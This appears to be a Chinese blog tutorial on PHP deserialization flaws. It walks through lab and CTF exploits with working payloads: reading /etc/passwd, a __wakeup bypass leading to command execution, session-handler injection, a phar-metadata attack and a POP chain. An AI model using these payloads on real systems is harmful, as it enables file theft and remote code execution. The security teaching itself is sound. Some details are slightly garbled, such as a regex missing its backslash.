zoukankan      html  css  js  c++  java
  • 浅谈PHP反序列化漏洞原理

    序列化与反序列化

    img

    序列化用途:方便于对象在网络中的传输和存储

    0x01 php反序列化漏洞

    在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

    常见的序列化格式:

    • 二进制格式
    • 字节数组
    • json字符串
    • xml字符串

    序列化就是将对象转换为流,利于储存和传输的格式

    反序列化与序列化相反,将流转换为对象

    例如:json序列化、XML序列化、二进制序列化、SOAP序列化

    而php的序列化和反序列化基本都围绕着 serialize()unserialize()这两个函数

    php对象中常见的魔术方法

    __construct()	// 当一个对象创建时被调用,
    __destruct()	// 当一个对象销毁时被调用,
    __toString()	// 当一个对象被当作一个字符串被调用。
    __wakeup()		// 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
    __sleep()		// 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
    __destruct()	// 对象被销毁时触发
    __call()		// 在对象上下文中调用不可访问的方法时触发
    __callStatic()	// 在静态上下文中调用不可访问的方法时触发
    __get()			// 用于从不可访问的属性读取数据
    __set()			// 用于将数据写入不可访问的属性
    __isset()		// 在不可访问的属性上调用isset()或empty()触发
    __unset()		// 在不可访问的属性上使用unset()时触发
    __toString()	// 把类当作字符串使用时触发,返回值需要为字符串
    __invoke()		// 当脚本尝试将对象调用为函数时触发
    

    PHP序列化数据

    测试脚本 test.php

    <?php
    	class User  
        {  
            public $name = '';
            public $age = 0;
            public $addr = '';
            public function __toString()  
            {  
                return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
            }
        }
    	$user = new User();
    	$user->name = 'default';
    	$user->age = '0';
    	$user->addr = 'default';
    	echo serialize($user);
    ?>
    

    这是一个对象通过serialize()方法序列化后的格式

    a - array                  b - boolean  
    d - double                 i - integer
    o - common object          r - reference
    s - string                 C - custom object
    O - class                  N - null
    R - pointer reference      U - unicode string
    

    当一个页面发现传递参数类似对象序列化的数据格式,可以测试是否存在反序列化漏洞

    php对象中属性的访问级别

    测试 test.php

    class User  
    {  
    	private $name = 'default';
    	public $age = 18;
    	protected $addr = 'default';
    	public function __toString()
       	{  
       		return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
        }
    }
    $user = new User();
    echo serialize($user);
    

    private 的属性序列化后变成 <0x00>对象<0x00>属性名

    public 没有任何变化

    protected 的属性序列化后变成 <0x00>*<0x00>属性名

    特殊十六进制<0x00>表示一个坏字节,就是空字节

    下面测试正确的传值姿势进行反序列化

    代码后添加几句

    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
    

    先是测试普通的访问形式来传值

    usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

    public被正常修改,private、protected无法被对象外修改

    如何才能从外部修改被保护的属性值呢?

    <0x00>的位置用 %00代替

    usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

    可以发现即使是被保护的属性也会被外部修改

    php反序列化演示

    假设页面有个接口参数可控

    <?php
        class FileClass  
        {  
            public $filename = 'error.log';  
            public function __toString()  
            {  
                return file_get_contents($this->filename);  
            }  
        }
        class User  
        {  
            public $name = '';
            public $age = 0;
            public $addr = '';
           
            public function __toString()  
            {  
                return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
            }
        }
    	# 参数可控
        $obj = unserialize($_POST['usr_serialized']);
        echo $obj;
    ?> 
    

    测试页面是通过post来传递参数,实战环境不一定在post中,参数可能会被加密编码过

    先传递一个 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

    通过修改参数,判断参数是否可变

    参数可变

    反序列化漏洞利用

    漏洞形成条件

    1. 参数可变
    2. 有可利用函数

    假设存在可利用函数

    测试代码 test.php

    <?php
        class FileClass  
        {  
            public $filename = 'error.log';  
            public function __toString()  
            {
                # 读取文件函数
                return file_get_contents($this->filename);
            }  
        }
        class User  
        {  
            public $name = '';
            public $age = 0;
            public $addr = '';
           
            public function __toString()  
            {  
                return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;  
            }
        }
    	# 参数可控
        $obj = unserialize($_POST['usr_serialized']);
        echo $obj;  
    
    ?> 
    

    可知存在一个file_get_contents()文件读取函数。

    构造恶意参数 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

    将之前User的接口改为读取文件的类构造参数,FileClass只有一个filename属性,只需要传递要读取的文件名就行

    用同样的参数名传递恶意参数,导致当前目录的test.php被读取,也可以尝试读取其他文件

    读取test.txt

    尝试读取/etc/passwd

    构造参数 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

    0x02 绕过 __wakeup()

    __wakeup() 类似一个预处理的作用,在执行unserialize()时会检测是否存在wakeup,存在则先执行 __wakeup()

    绕过方式

    这种方式绕过是由PHP的版本漏洞造成的

    绕过__wakeup()只需要将参数的个数改成超过现有的参数个数即可

    影响版本

    PHP5 < 5.6.25
    PHP7 < 7.0.10

    5.6.40和5.5.38测试对比

    测试页面 test.php

    测试版本 php 5.6.40

    测试系统 Linux

    IP :192.168.80.11

    <?php
        // ...省略其他代码
    	class CMDClass{
    		public $cmd = "";
    		function __wakeup(){
    			if(strpos($this->cmd,'ls')!==false){
    				$this->cmd = " ";
    			}
    		}
    		function __destruct(){
    			passthru($this->cmd,$result);
    		}
    		function __toString(){
    			return "";
    		}
    	}
        $obj = unserialize($_POST['usr_serialized']);
        echo $obj;
    
    ?> 
    

    这里 __wakeup() 中,判断如果输入的cmd参数中存在 "ls" 的字符串,则将cmd置为空格。

    构造参数 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

    将参数的个数改成超过现有的参数个数进行绕过

    更新后的版本,无法绕过会产生报错

    换一台虚拟机进行测试

    测试页面 test.php

    测试版本 php 5.5.38

    测试系统 Windows 7

    IP :192.168.80.128

    测试页面 php_unser.php

    <?php	
        // ...其余都一样
    		function __wakeup(){
        		# 因为win7没有ls命令,所以这里来限制ipconfig命令
    			if(strpos($this->cmd,'ip')!==false){
    				$this->cmd = "echo 非法输入";
    			}
    		}
    ?>
    

    构造参数 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

    发现被__wakeup()过滤了

    修改参数个数进行绕过 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

    经测试可以绕过

    0x03 Session反序列化

    php中的session内容不是存放在内存中,是以文件形式存在。存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列化之后的内容。

    存储方式

    • php_binary 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
    • php 存储方式是,键名+竖线+经过serialize()函数序列处理的值
    • php_serialize(php>5.5.4) 存储方式是,经过serialize()函数序列化处理的值

    设置格式

    ini_set('session.serialize_handler', '需要设置的引擎');

    默认下session存储为 php 存储方式

    <?php
    	session_start();
    	$_SESSION['name'] = 'admin';
    	echo "session_id: ".session_id()."<br>";
    	passthru("cat /tmp/sess_".session_id());
    ?>
    // session内容	name|s:5:"admin";
    

    php_serialize引擎

    ini_set("session.serialize_handler","php_serialize");
    session_start();
    // ...
    // session内容	a:1:{s:4:"name";s:5:"admin";}
    

    php_binary引擎

    ini_set("session.serialize_handler","php_binary");
    session_start();
    // ...
    // session内容	
    

    ASCII的值为4的字符无法打印显示

    漏洞原理

    当session使用不当,如php反序列化储存时使用引擎和序列化使用的引擎不一样,就会形成漏洞。

    漏洞复现

    本次测试,以 php引擎和 php_serialize引擎混合引发的漏洞

    测试页面1 target1.php --> php_serialize引擎

    <?php
    	ini_set('session.serialize_handler', 'php_serialize');
    	session_start();
    	$_SESSION["name"]=$_GET["name"];
    
    	if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
    		echo "欢迎来到第一个页面,Session已保存!";
    	}
    ?>
    

    测试页面2 target2.php --> php引擎

    <?php 
    	ini_set('session.serialize_handler','php');
    	session_start();
    	// 开启session之后 无需调用会自动加载
    	class Admin
    	{
    		var $name;
    		function __construct()
    		{
    			$this->name = "default";
    		}
    		function __destruct(){
                // 执行命令
    			passthru($this->name);
    		}
    	}
    ?>
    

    通过向 target1.php传递一个name为 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

    然后在访问 target2.php,会发现之前传递参数中的 cat /etc/passwd命令被执行

    这是发生了什么?!!

    漏洞触发流程

    首先通过访问 target1.php并且传递了参数 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

    target1.php页面是php_serialize引擎来存储session,所以session保存后的内容变成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

    然后当访问target2.php时,会用第二个页面的 php引擎来解析session,通过 |来分割字符串取出对应的值;

    Session值

    a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

    分解后, a:1:{s:4:"name";s:48:"admin被当作session的key
    O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value

    Session本身就是序列化和反序列化的存储方式

    通过session将O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化

    就会生成 Admin对象和一个属性值为 cat /etc/passwd的name

    再通过对象的销毁魔术方法__destruct()就会形成恶意的命令执行

    CTF题实战

    为了符合题意需要将 php.ini中的 serialize_handler 修改一下

    题目测试页面 test3.php

    <?php 
    //A webshell is wait for you 
    ini_set('session.serialize_handler', 'php'); 
    session_start(); 
    class OowoO 
    { 
        public $mdzz; 
        function __construct() 
        { 
            $this->mdzz = 'phpinfo();'; 
        } 
         
        function __destruct() 
        { 
            eval($this->mdzz); 
        } 
    } 
    if(isset($_GET['phpinfo'])) 
    { 
        $m = new OowoO(); 
    } 
    else 
    { 
        highlight_string(file_get_contents('test3.php')); 
    } 
    ?>
    

    访问 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

    符合上面将的漏洞环境

    通过源码可以看出并没有可以传入参数的地方

    不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的

    Session 上传进度
    当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
    当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值

    构造一个post表单

    <form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
        <input type="file" name="file">
        <input type="submit">
    </form>
    

    上传一个文件,抓包分析

    修改 filename 的值为 |O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}

    session值 先是以php_serialize引擎序列化后储存

    后输出页面被 php引擎解析触发反序列化漏洞

    构造payload |O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir("/tmp/"));";}

    可以遍历 /tmp/ 内的所有文件

    0x04 反序列化绕过正则

    测试页面源码 test4.php

    <?php  
    @error_reporting(1);
    include 'flag.php';
    echo $_GET['data'];
    class baby 
    {
        public $file;
        function __toString()      
        {
            if(isset($this->file))
            {
                $filename = "./{$this->file}";
                if (file_get_contents($filename))
                {
                    return file_get_contents($filename);
                }
            }
        }
    }
    if (isset($_GET['data']))
    {
        $data = $_GET['data'];
        preg_match('/[oc]:d+:/i',$data,$matches);
        if(count($matches))
        {
            die('Hacker!');
        }
        else
        {
            $good = unserialize($data);
            echo $good;
        }
    }
    else 
    {
        highlight_file("./test4.php");
    }
    ?>
    

    首先访问 <http://192.168.80.11/test4.php>

    通过源码可以看出存在一个反序列化漏洞

    根据之前的经验直接构造一个 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

    但是由于存在正则表达式 preg_match('/[oc]:d+:/i',$data,$matches); 对序列化字符串做了限制导致触发防御

    接下来尝试绕过正则表达式,前面的O:4:符合正则的条件,因此将其绕过即可。利用符号+就不会正则匹配到数字,新的payload 为O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

    并没有什么变化的原因是,在url中 + 号会被解释为空格,所以需要将 + url编码后加入

    尝试访问 flag.php

    绕过正则表达式

    实战中需根据正则表达式规则来进行绕过

    0x05 phar反序列化

    phar伪协议触发php反序列化

    phar://协议

    可以将多个文件归入一个本地文件夹,也可以包含一个文件

    phar文件

    PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

    案例演示

    假设已知页面 test5.php

    <?php
    if(isset($_GET['filename'])){
        $filename=$_GET['filename'];
        class MyClass{
            var $output='echo "nice"';
            function __destruct(){
                eval($this->output);
            }
        }
            var_dump(file_exists($filename));
            file_exists($filename);
        }
    else{
        highlight_file(__FILE__);
    }
    

    接下来根据源码中的类来构造一个phar文件

    创建一个 phar.php

    <?php
    class MyClass{
    	var $output='phpinfo();';
    	function __destruct(){
        	eval($this->output);
    	}
    }
    
    @unlink("./myclass.phar");
    $a=new MyClass;
    $a->output='phpinfo();';
    $phar = new Phar("./myclass.phar"); // 后缀必须为 phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);	// 将自定义的meta-data存入manifest
    $phar->addFromString("test.txt","test");	// 添加压缩文件
    // 签名自动计算
    $phar->stopBuffering();
    ?>
    

    通过访问或者 php 编译去生成 phar文件

    注意:必须要在php.ini中设置 phar.readonly = Off 不然无法生存phar文件

    通过查看,其中有一串序列化字符串正是和已知页面源码中类相对应

    可以通过上传文件等方式将phar文件放到服务器上

    先通过正常url http://192.168.80.11/test5.php?filename=index.php 访问

    找到phar文件的路径

    利用 phar:// 协议来访问

    http://192.168.80.11/test5.php?filename=phar://myclass.phar

    可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的

    0x06 POP链构造

    测试页面 pop.php

    <?php
    class start_gg
    {
            public $mod1;
            public $mod2;
            public function __destruct()
            {
                    $this->mod1->test1();
            }
    }
    class Call
    {
            public $mod1;
            public $mod2;
            public function test1()
        {
                $this->mod1->test2();
        }
    }
    class funct
    {
            public $mod1;
            public $mod2;
            public function __call($test2,$arr)
            {
                    $s1 = $this->mod1;
                    $s1();
            }
    }
    class func
    {
            public $mod1;
            public $mod2;
            public function __invoke()
            {
                    $this->mod2 = "字符串拼接".$this->mod1;
            }
    }
    class string1
    {
            public $str1;
            public $str2;
            public function __toString()
            {
                    $this->str1->get_flag();
                    return "1";
            }
    }
    class GetFlag
    {
            public function get_flag()
            {
                    echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
            }
    }
    $a = $_GET['string'];
    unserialize($a);
    ?>
    

    解题思路:

    1. 首先发现找到flag,发现flag需要通过GetFlag类中get_flag()函数输出,然后可以看到string1类中的__toString()方法可以直接调用get_flag()方法,而str1需要赋值为GetFlag
    2. 发现类func中存在__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。
    3. funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
    4. Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。
    5. 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为start_gg类的对象,等待__destruct()自动调用。

    通过构造pop链输出payload

    <?php
    class start_gg
    {
            public $mod1;
            public $mod2;
            public function __construct()
            {
                    $this->mod1 = new Call();//把$mod1赋值为Call类对象
            }
            public function __destruct()
            {
                    $this->mod1->test1();
            }
    }
    class Call
    {
            public $mod1;
            public $mod2;
            public function __construct()
            {
                    $this->mod1 = new funct();//把 $mod1赋值为funct类对象
            }
            public function test1()
            {
                    $this->mod1->test2();
            }
    }
    
    class funct
    {
            public $mod1;
            public $mod2;
            public function __construct()
            {
                    $this->mod1= new func();//把 $mod1赋值为func类对象
    
            }
            public function __call($test2,$arr)
            {
                    $s1 = $this->mod1;
                    $s1();
            }
    }
    class func
    {
            public $mod1;
            public $mod2;
            public function __construct()
            {
                    $this->mod1= new string1();//把 $mod1赋值为string1类对象
    
            }
            public function __invoke()
            {        
                    $this->mod2 = "字符串拼接".$this->mod1;
            } 
    }
    class string1
    {
            public $str1;
            public function __construct()
            {
                    $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象          
            }
            public function __toString()
            {        
                    $this->str1->get_flag();
                    return "1";
            }
    }
    class GetFlag
    {
            public function get_flag()
            {
                    echo "flag:"."xxxxxxxxxxxx";
            }
    }
    $b = new start_gg;//构造start_gg类对象$b
    echo serialize($b);
    

    执行后输出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

    将payload带入到参数发送请求,输出flag

  • 相关阅读:
    C#笔记(Hex转JPG)
    rpm 和 yum 软件管理
    名称空间和作用域
    网络技术管理和进程管理
    RAID磁盘阵列
    CentOS7系统启动流程:
    磁盘lvm管理
    面向对象 异常处理
    自定义函数和调用函数 return返回值
    Python常用模块
  • 原文地址:https://www.cnblogs.com/r0ckysec/p/11545962.html
Copyright © 2011-2022 走看看